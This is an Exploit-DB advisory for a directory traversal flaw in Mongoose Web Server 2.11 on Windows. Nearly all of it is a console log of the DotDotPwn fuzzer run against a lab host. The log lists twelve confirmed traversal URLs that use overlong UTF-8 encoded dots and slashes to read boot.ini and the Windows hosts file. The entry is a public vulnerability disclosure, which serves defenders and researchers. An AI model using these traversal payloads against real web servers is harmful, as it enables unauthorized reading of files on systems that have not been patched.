Exploit-DB #15373
Description: Mongoose Web Server 2.11 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-11-01
Author: nitr0us

Exploit:
# Exploit Title: Mongoose 2.11 Directory Traversal
# Date: 29 Oct
# Author: nitr0us (Alejandro Hernandez H.)
# Software Link: http://mongoose.googlecode.com/files/mongoose-2.11.exe
# Version: 2.11 (Windows Version)
# Tested on: Windows XP Service Pack 2

Chatsubo [(in)Security Dark] Labs
http://chatsubo-labs.blogspot.com
http://www.brainoverflow.org

Previous directory traversal flaws were found in Mongoose. The latest one was 
found by Gera from CORE Security at EKO Party 2009, but, there is still a flaw 
in the latest version (2.11) which was found by DotDotPwn.

I already reported the flaw in the Mongoose's issue tracking system.
http://code.google.com/p/mongoose/issues/detail?id=90&q=traversal#c10


EXPLOIT:
************************************************************************************
******* Released @ BugCon Security Conferences 2010 - http://www.bugcon.org ********
************************************************************************************

nitr0us@daiquiri ~ #./dotdotpwn.pl -m http -h 192.168.242.128 -x 8080 -O -s -d 3 -t 100 -q
#################################################################################
#                                                                               #
#  CubilFelino                                                       Chatsubo   #
#  Security Research Lab              and            [(in)Security Dark] Labs   #
#  chr1x.sectester.net                             chatsubo-labs.blogspot.com   #
#                                                                               #
#                               pr0udly present:                                #
#                                                                               #
#  ________            __  ________            __  __________                   #
#  \______ \    ____ _/  |_\______ \    ____ _/  |_\______   \__  _  __ ____    #
#   |    |  \  /  _ \\   __\|    |  \  /  _ \\   __\|     ___/\ \/ \/ //    \   #
#   |    `   \(  <_> )|  |  |    `   \(  <_> )|  |  |    |     \     /|   |  \  #
#  /_______  / \____/ |__| /_______  / \____/ |__|  |____|      \/\_/ |___|  /  #
#          \/                      \/                                      \/   #
#                               - DotDotPwn v2.1 -                              #
#                         The Directory Traversal Fuzzer                        #
#                         http://dotdotpwn.sectester.net                        #
#                            dotdotpwn@sectester.net                            #
#                                                                               #
#                              by chr1x & nitr0us                               #
#################################################################################

[========== TARGET INFORMATION ==========]
[+] Hostname: 192.168.242.128
[+] Detecting Operating System (nmap) ...
[+] Operating System detected:  Microsoft Windows XP SP2 or Windows Server 2003 SP0/SP1
[+] Protocol: http
[+] Port: 8080
[+] Service detected:

[=========== TRAVERSAL ENGINE ===========]
[+] Creating Traversal patterns (mix of dots and slashes)
[+] Multiplying 3 times the traversal patterns (-d switch)
[+] Creating the Special Traversal patterns
[+] Translating (back)slashes in the filenames
[+] Adapting the filenames according to the OS type detected (windows)
[+] Including Special sufixes
[+] Traversal Engine DONE ! - Total traversal tests created: 2328

[=========== TESTING RESULTS ============]
[+] Ready to launch 10.00 traversals per second
[+] Press any key to start the testing (You can stop it pressing Ctrl + C)

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/windows/system32/drivers/etc/hosts <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\boot.ini <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\windows\system32\drivers\etc\hosts <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%2f%c0%2e%c0%2e%2f%c0%2e%c0%2e%2fboot.ini <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%2f%c0%2e%c0%2e%2f%c0%2e%c0%2e%2fwindows%2fsystem32%2fdrivers%2fetc%2fhosts <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%5c%c0%2e%c0%2e%5c%c0%2e%c0%2e%5cboot.ini <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%5c%c0%2e%c0%2e%5c%c0%2e%c0%2e%5cwindows%5csystem32%5cdrivers%5cetc%5chosts <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fwindows%c0%2fsystem32%c0%2fdrivers%c0%2fetc%c0%2fhosts <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cwindows%c0%5csystem32%c0%5cdrivers%c0%5cetc%c0%5chosts <- VULNERABLE!

[+] Fuzz testing finished after 10.18 minutes (611 seconds)
[+] Total Traversals found: 12